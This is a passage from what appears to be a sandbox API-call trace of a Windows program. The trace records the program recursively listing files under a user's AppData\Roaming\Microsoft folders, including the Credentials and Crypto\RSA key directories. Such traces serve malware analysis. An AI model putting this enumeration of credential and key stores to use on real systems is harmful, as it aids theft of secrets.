IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 93 [0119.307] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.307] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 79 [0119.307] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.307] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 87 [0119.307] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.307] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 102 [0119.307] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.307] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 79 [0119.307] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.307] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 81 [0119.307] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.307] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.307] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.307] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.307] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.307] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Credentials") returned 61 [0119.307] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned 63 [0119.307] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.307] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.307] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.307] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.307] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.308] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto") returned 56 [0119.308] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned 58 [0119.308] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.308] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.308] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.308] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned 60 [0119.308] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned 62 [0119.308] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.308] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.308] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.308] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1836691140-625943148-109919340-1000") returned 105 [0119.308] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1836691140-625943148-109919340-1000\\*") returned 107 [0119.308] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1836691140-625943148-109919340-1000\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.308] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.308] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.308] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1836691140-625943148-109919340-1000\\83aa4cc77f591dfc2374580bbd95f6ba_f9a82aba-5282-413b-8e64-6e5ff267616b") returned 175 [0119.308] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.308] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1836691140-625943148-109919340-1000\\88a44d16617fe2544b311ac47c14c7c0_f9a82aba-5282-413b-8e64-6e5ff267616b") returned 175 [0119.308] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0119.308] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.309] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.309] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.309] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.309] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.309] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.309] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned 74 [0119.309] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*") returned 76 [0119.309] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.309] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.309] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.309] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned 79 [0119.309] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*") returned 81 [0119.309] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.309] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.309] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.309] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\15") returned 82 [0119.309] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\15\\*") returned 84 [0119.309] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\15\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.309] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.309] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.309] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\15\\Built-In Building Blocks.dotx") returned 112 [0119.309] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0119.309] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.310] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.310] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.310] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.310] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.310] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.310] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel") returned 55 [0119.310] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel\\*") returned 57 [0119.310] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.310] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.310] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.310] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned 63 [0119.310] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*") returned 65 [0119.310] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.310] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.310] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.310] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.310] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.310] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.310] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.310] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Forms") returned 55 [0119.310] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Forms\\*") returned 57 [0119.310] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Forms\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.310] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.310] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.310] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.310] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.310] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IME12") returned 55 [0119.310] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IME12\\*") returned 57 [0119.310] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.310] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.311] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.311] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.311] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.311] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP12") returned 56 [0119.311] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP12\\*") returned 58 [0119.311] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.311] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.311] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.311] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.311] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.311] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP8_1") returned 57 [0119.311] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*") returned 59 [0119.311] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.311] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.311] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.311] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.311] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.311] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP9_0") returned 57 [0119.311] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*") returned 59 [0119.311] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.311] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.311] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.311] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.311] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.311] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 67 [0119.311] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned 69 [0119.311] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.311] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.311] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.311] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 80 [0119.311] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned 82 [0119.312] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.312] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.312] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 92 [0119.312] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 98 [0119.312] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk") returned 117 [0119.312] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned 102 [0119.312] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 98 [0119.312] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 92 [0119.312] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned 94 [0119.312] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.312] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.312] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned 113 [0119.312] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned 115 [0119.312] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.312] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.312] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0 [0119.312] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.312] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.312] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 100 [0119.312] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned 102 [0119.312] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.312] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.312] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: 